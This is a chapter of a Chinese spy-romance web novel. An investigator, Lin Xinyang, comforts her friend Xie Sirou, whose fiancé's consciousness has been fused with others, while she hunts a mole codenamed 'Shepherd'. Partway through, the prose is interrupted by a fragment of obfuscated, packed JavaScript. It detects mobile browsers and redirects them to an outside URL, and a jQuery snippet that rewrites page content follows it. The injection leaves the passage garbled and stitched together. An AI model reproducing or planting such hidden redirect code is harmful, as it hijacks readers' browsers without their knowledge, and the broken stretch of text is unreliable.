接下来的三周，时间以两种不同的速度流逝。


    对医疗基地里的那个“人”来说，时间是凝固的、实验性的。每天都有新的测试、新的扫描、新的药物试验。医生和心理学家试图理解这个由三个意识碎片融合而成的新存在——他们称之为“患者零”，但私下里叫他“三合一”。他的状态不稳定，有时表现出陈浩的特工本能，有时流露出教授的学术气质，偶尔还会闪现顾俊枫的情感记忆，但这些都像海面上的浮光掠影，转瞬即逝。


    对谢思柔来说，时间是黏稠的、缓慢流动的伤痛。她回到了基金会的工作中，处理积压的文件，参加慈善活动，接受媒体采访。在外人看来，她依然是那个优雅干练的谢家大小姐，顾氏集团未过门的儿媳，只是未婚夫在国外受伤需要长期疗养。只有她自己知道，每个夜晚回到空荡荡的公寓，面对那些还没来得及撤走的双人物品时，心口的空洞有多么冰冷。


    林心阳成了那个空洞里唯一的光。


    她调回了北京总部，名义上是负责内部调查和情报分析，实际上获得了相当大的自主权——上级默许她继续追查“牧羊人”和教授留下的网络。她住在军区大院，但几乎每天都会和谢思柔见面，有时是共进晚餐，有时只是一起散步，有时仅仅是坐在谢思柔的公寓里，各自工作，互不打扰，却又能感受到对方的存在。


    这种陪伴起初是出于责任和同情。林心阳觉得自己有义务照顾谢思柔，毕竟顾俊枫的遭遇与她的任务直接相关。但渐渐地，陪伴变成了习惯，习惯变成了需要。


    周五晚上，谢思柔加班到九点才离开基金会大楼。深秋的北京已经寒意袭人，她裹紧风衣，在路灯下等车。手机震动，是林心阳的短信：“加班结束了？我在楼下。”


    谢思柔抬头，看到街对面停着那辆熟悉的黑色SUV。她穿过马路，拉开车门，暖气扑面而来。


    “你怎么知道我在加班？”她系好安全带，问道。


    “你助理说的。”林心阳发动车子，“她说你这周每天都工作到很晚。”


    “积压的事情太多。”谢思柔靠在椅背上，闭上眼睛，“而且……工作能让我不想其他事。”


    林心阳看了她一眼，没说话。车子平稳地驶入车流，目的地是谢思柔最喜欢的云南菜馆——林心阳记得她说过，天冷的时候想吃热腾腾的过桥米线。


    餐馆里人不多，她们选了靠窗的位置。米线上桌时，蒸腾的热气模糊了玻璃，也模糊了彼此的表情。


    “医疗基地那边……”谢思柔搅拌着碗里的米线，没有抬头，“有什么新消息吗？”


    林心阳知道她终究会问，从公文包里取出一份加密文件：“这是本周的评估报告。你可以看，但看完后我们需要销毁。”


    谢思柔接过文件，手指微微颤抖。报告很厚，有脑部扫描图像、神经活动分析、行为评估记录，还有几段视频记录的截图。


    总结页上写着：


    “患者零”（顾俊枫）状态评估：


    1. 意识稳定性：C级（不稳定，存在多重人格切换迹象）


    2. 记忆完整性：B级（顾俊枫个人记忆保留85%，陈浩记忆片段保留60%，教授数据记忆保留90%）


    3. 行为可预测性：D级（无法建立稳定行为模式）


    4. 建议：继续隔离观察，不建议接触外界，不建议释放。


    谢思柔翻到视频截图部分。有一张是“患者零”坐在病房里下棋——自己和自己下，左手执黑，右手执白。照片下的注释：“连续三小时自我对弈，棋风多变，左手棋路沉稳（疑似顾俊枫模式），右手棋路激进（疑似教授模式），中盘后出现特工式陷阱布局（疑似陈浩模式）。”


    另一张是他站在窗前，看着外面的院子。注释：“每天固定时间站立观察，记录巡逻队换岗规律、监控摄像头转动周期、警卫换班时间。行为模式高度接近特工侦查。”


    第三张让谢思柔的手停住了。那是“患者零”在画画——画的是她。素描纸上的人像栩栩如生，连她耳垂上那颗小小的痣都画出来了。注释：“凭借记忆绘制谢思柔肖像，细节准确度99%。完成后凝视画像长达两小时，期间脑部活动异常，出现强烈情感波动。但询问时否认认识画中人，称‘只是练习’。”


    眼泪滴在纸上，晕开了墨迹。谢思柔迅速擦掉，但林心阳已经看到了。


    “他还记得我。”谢思柔的声音哽咽，“至少有一部分记得。”


    “记忆存在，但情感连接可能已经断裂。”林心阳尽量客观，“报告显示，他能在认知层面识别你的照片，但无法产生相应的情感反应。就像……就像看一个陌生人的资料档案。”


    “可是他会画我……”


    “教授也见过你，陈浩也认识你。这些记忆都在那里，只是不知道是谁在调用它们。”林心阳合上文件，“思柔，我知道这很残忍，但你必须接受——顾俊枫真的不在了。现在那个身体里的，是一个全新的、复杂的存在。你越早放下，对你越好。”


    谢思柔沉默了很久，米线已经凉了。窗外，一对年轻情侣手牵手走过，女孩笑得很甜，男孩低头吻她的额头。


    “我以前和俊枫也这样。”谢思柔突然说，“刚谈恋爱的时候，他特别害羞，连牵手都要犹豫半天。后来我说，你再不主动，我就去找别人了。然后他就……吻了我。在清华园的银杏树下，秋天，叶子金黄金黄的。”


    她笑了笑，眼泪却流得更凶：“他说等我们老了，要买一栋有院子的房子，种满银杏树。这样每年秋天，都可以一起看落叶。”


    林心阳递过纸巾，轻声说：“美好的回忆不会消失。它们永远是你的一部分。”


    “但它们也永远只能是回忆了，对吗？”


    这一次，林心阳没有回答。


    吃完饭，林心阳送谢思柔回家。到公寓楼下时，谢思柔没有立刻下车。


    “要不要上来坐坐？”她问，“我买了新咖啡豆，你上次说喜欢的那个牌子。”


    林心阳看了看时间，晚上十点半。理智告诉她应该拒绝，明天一早还有会议。但看着谢思柔眼中的期待——那种小心翼翼、生怕被拒绝的期待——她点了点头。


    “好。”


    公寓里，谢思柔真的开始煮咖啡。她换上了家居服，头发松松地扎在脑后，光着脚在木地板上走来走去。林心阳坐在客厅沙发上，看着她忙碌的背影，突然觉得这个场景异常熟悉。


    在很多年前，在她还相信爱情和家庭的时候，她也曾幻想过这样的画面——和爱的人在夜晚的家里，煮一壶咖啡，聊一些无关紧要的事。


    但那都是上辈子的事了。


    “加糖吗？”谢思柔问。


    “不加，谢谢。”


    咖啡的香气弥漫开来。谢思柔端着两个杯子走过来，在林心阳身边坐下，而不是对面的单人沙发。这个细微的距离变化，两个人都注意到了，但都没说破。


    “你最近在查什么？”谢思柔问，“还是那个‘牧羊人’？”


    林心阳犹豫了一下，决定透露一些：“有进展。我们截获了几次加密通讯，虽然内容无法破译，但追踪到了信号源——都在北京。”


    “内鬼在总部？”


    “或者在能频繁进入总部的人中。”林心阳喝了口咖啡，“教授在国内的布局比想象中深。他不只是在华国安插了间谍，他是在……培养接班人。”


    “什么意思？”


    “意思是他早就计划好了自己的‘死亡’或‘消失’，并且安排了继承者继续他的工作。”林心阳放下杯子，“‘涅槃计划’的真正目的可能不是复活教授自己，而是把他的理念、技术、人脉网络完整地传承下去。顾俊枫的身体可能只是一个……实验品，或者诱饵。”


    谢思柔感到一阵寒意：“那真正的继承者是谁？”


    “不知道。但肯定是一个有地位、有资源、能接触到核心机密的人。”林心阳看着谢思柔，“这也是为什么我必须谨慎。如果打草惊蛇，可能永远找不到他了。”


    “你怀疑谁？”


    “不能告诉你。”林心阳摇头，“知道得越少，对你越安全。”


    谢思柔理解地点点头，然后突然想起什么：“对了，有件事……我不知道该不该说。”


    “什么？”


    “上周，我父亲的一个老朋友来家里做客，是科技部的退休官员。他无意中提到，最近有几个量子计算和神经科学方面的重点项目，审批流程异常顺利，而且都指定了同一家民营研究机构作为合作方。”


    林心阳警觉起来：“哪家机构？”


    “叫‘新纪元生物科技’，注册才三年，但拿到了很多国家级项目。”谢思柔皱眉，“我觉得奇怪，因为顾氏集团在这个领域做了十几年，按理说更有优势，但这次一个项目都没拿到。”


    林心阳立刻记下了这个名字：“还有其他信息吗？”


    “那位叔叔说，这家公司的背景很神秘，法人代表是个傀儡，实际控制人从不露面。但他们在政界和军方都有很强的关系网。”谢思柔顿了顿，“我当时没多想，但现在听你说‘牧羊人’可能有很高的地位……”


    “这个信息很重要。”林心阳正色道，“谢谢你告诉我。”


    “能帮到你就好。”谢思柔微笑，“毕竟，我也想知道是谁害了俊枫。”


    这话说得平静，但林心阳听出了底下的恨意。她理解这种恨，她自己也有——对教授的恨，对陈浩被改造的恨，对那些把人不当人的疯子的恨。


    “我会查清楚的。”她承诺，“无论‘牧羊人’是谁，我都会把他找出来。”


    咖啡喝完时，已经快午夜了。林心阳起身告辞，谢思柔送她到门口。


    “下周六……”谢思柔突然说，“我生日。本来……算了，没什么。”


    “本来顾俊枫会陪你过？”林心阳问。


    谢思柔点头：“他订了餐厅，还说要给我惊喜。现在……餐厅昨天打电话来确认，我取消了。”


    林心阳看着她落寞的表情，脱口而出：“那我陪你过吧。”


    话一出口，两人都愣了一下。这超出了“照顾”的范畴，进入了更私人的领域。


    但谢思柔笑了，那是几天来第一个真心的笑容：“好啊。不过不用麻烦，就在家里简单吃点就好。”


    “我来安排。”林心阳说，“周六晚上七点，我来接你。穿得……舒服点就行。”


    “好。”


    门关上后，林心阳站在走廊里，对自己刚才的冲动感到困惑。她很少这样不假思索地承诺，尤其是在私人事务上。


    但谢思柔的笑容让她觉得，这个决定是对的。


    接下来的几天，林心阳一边追查“新纪元生物科技”的线索，一边暗中准备谢思柔的生日。她没有告诉任何人，连助理都不知道。周六下午，她提前结束工作，去取了预订的蛋糕和礼物，然后回家换衣服。


    站在衣柜前，她犹豫了很久。军装太正式，便装又不知道该穿什么。最后选了一件简单的黑色毛衣和牛仔裤——既不会太刻意，也不会太随便。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170873|195789||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >七点整，她开车到谢思柔楼下，发短信：“我到了。”


    几分钟后，谢思柔下楼。她穿了一条深蓝色的针织长裙，外面套着米色风衣，头发松松地披着，化了一点淡妆。在路灯下，她美得有些不真实。


    “你今天很漂亮。”林心阳说。


    谢思柔微笑：“你也是。”


    车子没有开往任何餐厅，而是驶向了郊外。谢思柔有些疑惑，但没多问。她信任林心阳。


    四十分钟后，她们停在一个湖边。这里远离市区，夜晚很安静，湖面倒映着星空和远处山峦的轮廓。林心阳从后备箱拿出野餐垫、保温箱和一个小型投影仪。


    “这是……”谢思柔惊讶。


    “生日的特别安排。”林心阳铺好垫子，打开保温箱——里面不是豪华大餐，而是简单的三明治、水果沙拉，还有一瓶红酒。


    “我小时候，每年生日妈妈都会带我来这里野餐。”林心阳一边摆食物一边说，“她说城市的灯光太亮，看不到真正的星星。这里可以。”


    谢思柔在她身边坐下，看着湖面：“你妈妈是个浪漫的人。”


    “曾经是。”林心阳的声音很轻，“后来她生病去世了。之后我就很少过生日了。”


    “抱歉……”


    “不用。”林心阳倒了两杯红酒，递给她一杯，“生日快乐，思柔。”


    “谢谢。”谢思柔接过酒杯，眼眶微红，“我已经……很久没有这样过生日了。”


    她们吃着简单的食物，喝着红酒，聊着无关紧要的话题——基金会的趣事，军队里的笑话，童年的回忆。没有提起顾俊枫，没有提起教授，没有提起那些沉重的事。


    酒过三巡，林心阳打开了投影仪。白色的幕布挂在两棵树之间，开始播放影像——不是电影，而是一段段世界各地风景的延时摄影：挪威的极光，日本的樱花，冰岛的冰川，非洲的草原……


    “俊枫说过，想带我看遍全世界的风景。”谢思柔轻声说。


    “那今天我们先‘看’一遍。”林心阳说，“以后，如果你想去，我陪你去。”


    这话说得很自然，但其中的含义让两人都沉默了。投影的光影在她们脸上流动，极光的绿色，樱花的粉色，冰川的蓝色。


    “林心阳。”谢思柔突然开口。


    “嗯？”


    “如果没有你，这段时间我可能撑不过来。”


    林心阳转头看她。在投影的光线下，谢思柔的眼睛亮得像星星。


    “你比你以为的坚强。”林心阳说。


    “不，我不坚强。”谢思柔摇头，“我只是……学会了依靠。依靠你。”


    她的手指无意中碰到了林心阳的手背。很轻的触碰，但两个人都感觉到了，都没有移开。


    投影播到了瑞士的雪山——那是谢思柔和顾俊枫定情的地方。画面里，阳光照在雪峰上，金光闪闪。


    谢思柔看着那片雪山，很久很久，然后轻声说：“再见，俊枫。”


    这句话很轻，像叹息，但林心阳听到了。她知道，这不是告别，而是释怀。


    谢思柔终于开始放下过去，开始接受那个人真的离开了。


    而在这个过程中，她看向林心阳的目光，有了一些不同。


    “蛋糕还没吃呢。”林心阳打破沉默，从保温箱里取出小蛋糕，插上蜡烛，“许个愿吧。”


    谢思柔闭上眼睛，认真许愿，然后吹灭蜡烛。林心阳没问她许了什么愿，但她隐约猜到了。


    分蛋糕时，谢思柔突然说：“我许愿……希望身边的人都能平安。”


    “很朴实的愿望。”


    “也是最难的。”谢思柔切下一块蛋糕递给林心阳，“尤其是对你来说。”


    林心阳接过蛋糕，手指再次相触。这一次，谢思柔没有立即收回，而是握住了她的手。


    “答应我，查案的时候要小心。”谢思柔认真地看着她，“‘牧羊人’能让教授信任，一定不是简单人物。”


    “我会的。”林心阳反握住她的手，“我答应你。”


    她们的手就这样握着，直到蛋糕吃完，直到投影播完，直到湖面的风开始变凉。


    回去的路上，谢思柔在副驾驶座上睡着了。林心阳调高空调温度，把车速放慢。等红灯时，她侧头看谢思柔的睡颜，心中涌起复杂的情绪。


    保护欲，同情，友情，还有……一些说不清道不明的东西。


    她摇摇头，把那些念头赶出脑海。现在不是想这些的时候。


    车开到公寓楼下时，谢思柔醒了。她揉了揉眼睛：“我睡着了？”


    “嗯，到了。”


    谢思柔解开安全带，但没有立刻下车。她看着林心阳，突然凑过去，在她脸颊上轻轻吻了一下。


    “谢谢你，给我一个这么美好的生日。”


    然后她下车，快步走进楼里，像是害羞，又像是害怕看到林心阳的反应。


    林心阳坐在车里，摸着被吻过的脸颊，那里还残留着温暖的触感。许久，她才启动车子离开。


    后视镜里，她看到谢思柔公寓的灯亮起，又看到谢思柔走到窗前，朝她的方向挥手。


    她也挥手，虽然知道对方可能看不见。


    车子驶入夜色，林心阳的心却留在了那个湖边，那片星空下，那个吻里。


    而她没有注意到，街角一辆不起眼的轿车里，有人用长焦镜头拍下了她们在湖边的一切。


    包括那个吻。


    照片很快被加密传输，收件人的代号是：


    “牧羊人”。